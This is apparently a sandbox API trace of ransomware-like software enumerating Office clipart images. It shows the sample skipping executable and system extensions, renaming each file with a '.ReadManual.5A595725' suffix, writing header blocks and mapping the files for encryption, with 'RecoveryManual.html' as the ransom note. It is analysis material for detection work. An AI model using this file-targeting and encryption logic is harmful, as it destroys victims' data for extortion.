StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.924] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" [0266.924] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ReadManual.5A595725" [0266.924] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.ReadManual.5A595725") returned 87 [0266.924] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38759287354) returned 1 [0266.924] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0266.925] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.925] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35419) returned 1 [0266.925] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a5b, lpName=0x0) returned 0x184 [0266.925] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.926] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.926] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.928] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.928] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a5b) returned 0x2f0000 [0266.929] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.929] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38759811744) returned 1 [0266.929] CloseHandle (hObject=0x184) returned 1 [0266.929] SetSecurityInfo () returned 0x57 [0266.930] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.930] CloseHandle (hObject=0x194) returned 1 [0266.930] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0266.930] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145895.JPG" | out: lpString1="J0145895.JPG") returned="J0145895.JPG" [0266.930] lstrcmpiW (lpString1="J0145895.JPG", lpString2="RecoveryManual.html") returned -1 [0266.930] StrStrIW (lpFirst="J0145895.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.930] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.930] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.930] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.930] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" [0266.930] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ReadManual.5A595725" [0266.930] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.ReadManual.5A595725") returned 87 [0266.930] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38759911326) returned 1 [0266.930] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0266.931] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.931] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33958) returned 1 [0266.931] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84a6, lpName=0x0) returned 0x184 [0266.931] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.931] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.932] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.933] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.934] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84a6) returned 0x2f0000 [0266.935] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.935] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38760367895) returned 1 [0266.935] CloseHandle (hObject=0x184) returned 1 [0266.935] SetSecurityInfo () returned 0x57 [0266.935] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.935] CloseHandle (hObject=0x194) returned 1 [0266.935] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0266.935] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145904.JPG" | out: lpString1="J0145904.JPG") returned="J0145904.JPG" [0266.935] lstrcmpiW (lpString1="J0145904.JPG", lpString2="RecoveryManual.html") returned -1 [0266.935] StrStrIW (lpFirst="J0145904.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.935] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.935] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.935] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.935] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.935] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.936] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.936] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.936] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.936] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.936] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.936] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.936] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.936] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.936] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.936] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" [0266.936] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ReadManual.5A595725" [0266.936] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ReadManual.5A595725") returned 87 [0266.936] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38760464915) returned 1 [0266.936] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0266.936] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.936] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39542) returned 1 [0266.936] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a76, lpName=0x0) returned 0x184 [0266.937] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.937] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.937] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.939] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.939] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a76) returned 0x2f0000 [0266.941] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38760952430) returned 1 [0266.941] CloseHandle (hObject=0x184) returned 1 [0266.941] SetSecurityInfo () returned 0x57 [0266.941] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.941] CloseHandle (hObject=0x194) returned 1 [0266.941] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0266.941] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0146142.JPG" | out: lpString1="J0146142.JPG") returned="J0146142.JPG" [0266.941] lstrcmpiW (lpString1="J0146142.JPG", lpString2="RecoveryManual.html") returned -1 [0266.941] StrStrIW (lpFirst="J0146142.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.941] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.941] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.941] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.941] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.941] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.942] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.942] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.942] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.942] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.942] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" [0266.942] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ReadManual.5A595725" [0266.942] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ReadManual.5A595725") returned 87 [0266.942] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38761049920) returned 1 [0266.942] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0266.942] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.942] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46508) returned 1 [0266.942] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb5ac, lpName=0x0) returned 0x184 [0266.942] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.943] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.943] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.946] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.947] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb5ac) returned 0x2f0000 [0266.948] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.948] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38761683430) returned 1 [0266.948] CloseHandle (hObject=0x184) returned 1 [0266.948] SetSecurityInfo () returned 0x57 [0266.948] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.948] CloseHandle (hObject=0x194) returned 1 [0266.948] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0266.948] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0148309.JPG" | out: lpString1="J0148309.JPG") returned="J0148309.JPG" [0266.948] lstrcmpiW (lpString1="J0148309.JPG", lpString2="RecoveryManual.html") returned -1 [0266.948] StrStrIW (lpFirst="J0148309.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.949] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.949] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.949] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.949] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" [0266.949] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ReadManual.5A595725" [0266.949] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ReadManual.5A595725") returned 87 [0266.949] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38761783732) returned 1 [0266.949] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0266.949] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.950] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43674) returned 1 [0266.950] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa9a, lpName=0x0) returned 0x184 [0266.950] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.950] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.951] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.952] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.953] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa9a) returned 0x2f0000 [0266.954] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.954] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38762288288) returned 1 [0266.954] CloseHandle (hObject=0x184) returned 1 [0266.954] SetSecurityInfo () returned 0x57 [0266.954] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.954] CloseHandle (hObject=0x194) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0266.954] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0148757.JPG" | out: lpString1="J0148757.JPG") returned="J0148757.JPG" [0266.954] lstrcmpiW (lpString1="J0148757.JPG", lpString2="RecoveryManual.html") returned -1 [0266.955] StrStrIW (lpFirst="J0148757.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.955] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.955] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.955] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.955] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" [0266.955] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ReadManual.5A595725" [0266.955] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ReadManual.5A595725") returned 87 [0266.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38762385281) returned 1 [0266.955] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0266.956] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.956] GetFileSizeEx (in: 